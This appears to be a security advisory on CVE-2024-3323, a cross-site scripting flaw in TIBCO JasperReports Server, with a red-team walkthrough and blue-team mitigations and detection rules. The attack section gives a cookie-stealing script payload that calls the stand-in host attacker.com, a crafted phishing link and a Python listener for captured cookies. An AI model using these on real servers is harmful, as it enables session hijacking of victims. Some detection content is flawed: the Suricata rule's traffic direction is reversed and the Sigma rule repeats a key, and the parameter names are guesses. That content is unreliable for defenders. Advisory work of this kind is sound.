CVE-2024-3323

Executive Summary

CVE-2024-3323 is a Cross-Site Scripting (XSS) vulnerability in TIBCO JasperReports Server versions 8.0.4 and 8.2.0. The flaw resides in the UI Request/Response Validation mechanism, allowing an attacker to inject malicious executable scripts into the trusted application context. Successful exploitation can lead to the theft of an active user session cookie by enticing the user to interact with a crafted malicious link. The CVSS score is 8.3 (High), and no patch or public exploit code has been released at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 8.3 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – Victim must click a link.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): High (H) – Session cookie theft leads to full account compromise.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Minor impact on service availability.

Threat Level: High. The combination of network exploitability, low complexity, and high confidentiality impact makes this a critical risk for unpatched deployments.

Deep Dive & Mechanics

The vulnerability is a classic stored/reflected Cross-Site Scripting (XSS) in the UI Request/Response Validation component of TIBCO JasperReports Server. The application fails to properly sanitize user-supplied input before reflecting it in HTTP responses or storing it for later display. An attacker can craft a malicious URL containing JavaScript payloads. When a victim with an active session clicks the link, the script executes in the context of the JasperReports Server domain, allowing the attacker to:

1. Steal the victim's session cookie (document.cookie).
2. Perform actions on behalf of the victim (e.g., view reports, modify configurations).
3. Redirect the victim to a phishing page.

The vulnerability is particularly dangerous because JasperReports Server often holds sensitive business data and reports.

Vulnerable vs. Patched Code

Since no patch or official fix is available, a direct code comparison is not possible. However, the vulnerable pattern is typical of missing output encoding.

Vulnerable Code (Conceptual Java/JSP):

// Vulnerable: Directly embedding user input without encoding
String userInput = request.getParameter("reportName");
out.println("<div>" + userInput + "</div>");

Patched Code (Conceptual):

// Patched: Using output encoding to neutralize scripts
String userInput = request.getParameter("reportName");
String safeInput = Encode.forHtml(userInput);
out.println("<div>" + safeInput + "</div>");

The fix would involve implementing context-aware output encoding (e.g., OWASP Java Encoder) for all user-controlled data rendered in the UI.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running TIBCO JasperReports Server 8.0.4 or 8.2.0.
• Victim user with an active session.

Exploit Payload:

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Attack Steps:

1. Identify a vulnerable parameter (e.g., reportName, queryString) in the UI.
2. Craft a malicious link:

   https://victim-jasper-server:8080/jasperserver/flow.html?_flowId=searchFlow&reportName=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
   

3. Send the link to the victim via email or social engineering.
4. Set up a listener on attacker.com to capture the cookie.

Example Python Listener:

from http.server import HTTPServer, BaseHTTPRequestHandler

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(f"Captured: {self.path}")
        self.send_response(200)
        self.end_headers()
        self.wfile.write(b"OK")

HTTPServer(('0.0.0.0', 80), Handler).serve_forever()

Blue Team (Defense & Detection)

Mitigation Steps:

1. Immediate: Disable the vulnerable UI component if possible, or restrict access to trusted IPs.
2. Web Application Firewall (WAF): Deploy rules to block XSS patterns (e.g., <script>, onerror=).
3. Input Validation: Implement strict server-side validation and output encoding.
4. Session Security: Set HttpOnly and Secure flags on session cookies to prevent JavaScript access.
5. Content Security Policy (CSP): Enforce a strict CSP to block inline scripts.

Detection:

• Monitor logs for unusual parameters containing <script> or onerror.
• Alert on multiple requests from the same IP with XSS-like payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in parameters (e.g., reportName=<script>).
  • Outbound connections to unknown domains from the JasperReports Server.
• Host IOCs:
  • Unexpected entries in web server logs with JavaScript payloads.
  • Modified session cookies or unusual session activity.
• File IOCs:
  • Temporary files or scripts dropped in web-accessible directories (e.g., /tmp/xss.js).

Detection Engineering

YARA Rule

rule CVE_2024_3323_XSS_JasperReports {
    meta:
        description = "Detects XSS payloads targeting TIBCO JasperReports Server CVE-2024-3323"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "unknown"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $param1 = "reportName=" nocase
        $param2 = "queryString=" nocase
    condition:
        any of ($xss*) and any of ($param*)
}

Sigma Rule

title: XSS Attempt Against TIBCO JasperReports Server
id: 8f3a2b1c-4d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects potential XSS attacks targeting CVE-2024-3323
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
        cs-uri-query|contains:
            - 'reportName='
            - 'queryString='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3323 XSS Attempt - TIBCO JasperReports Server"; flow:to_server,established; content:"GET"; http_method; content:"reportName="; http_uri; pcre:"/<script|onerror|onload|javascript:/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate: If possible, isolate the JasperReports Server from untrusted networks.
2. WAF Rules: Deploy virtual patching via WAF to block XSS payloads.
3. Session Hardening: Ensure session cookies have HttpOnly and Secure flags.

Long-Term Fix:

• Apply the official patch from TIBCO when released.
• Upgrade to a patched version (check TIBCO support portal).
• Implement a Content Security Policy (CSP) header:

  Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
  

Workaround:

• Disable the vulnerable UI component (e.g., search functionality) via configuration if not critical.

Valters IT